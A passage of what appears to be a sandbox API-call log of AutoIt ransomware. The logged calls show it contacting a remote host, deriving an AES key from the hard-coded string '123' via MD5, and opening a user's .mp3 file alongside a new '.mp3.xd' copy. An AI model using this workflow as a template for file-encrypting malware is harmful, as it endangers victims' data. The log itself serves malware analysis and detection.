lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.930] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.931] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.931] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.931] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.931] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.931] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.931] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.931] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0063.931] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.931] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.931] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.932] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.932] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.932] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.932] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.932] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.932] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.932] CloseHandle (hObject=0x0) returned 0 [0063.932] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.932] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0063.933] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.933] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.933] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.933] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.933] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.933] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.933] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.933] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.934] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.934] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.934] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.934] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.934] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.934] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17abcc0) returned 1 [0063.935] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.935] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.935] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.935] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.935] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.935] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.935] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.935] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.935] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.935] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.935] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.935] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.936] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.936] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.936] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.936] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.936] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.936] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.936] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.936] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.936] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.936] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.936] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.937] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.937] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.937] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.937] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.937] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.937] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.937] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.937] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.937] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.937] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.937] CryptCreateHash (in: hProv=0x17abcc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.937] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.938] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.938] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.938] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.938] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.938] CryptHashData (hHash=0x164c2f0, pbData=0x16296d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.939] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.939] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.939] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.939] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.939] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.939] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.939] CryptDeriveKey (in: hProv=0x17abcc0, Algid=0x6610, hBaseData=0x164c2f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0063.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.939] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.940] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.940] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.940] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.940] CryptDestroyHash (hHash=0x164c2f0) returned 1 [0063.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.940] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.940] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.940] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.940] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.940] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\03desaznjrjnd.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.940] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.940] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.941] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq")) returned 0x10 [0063.941] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\03desaznjrjnd.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.945] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.945] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0063.947] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 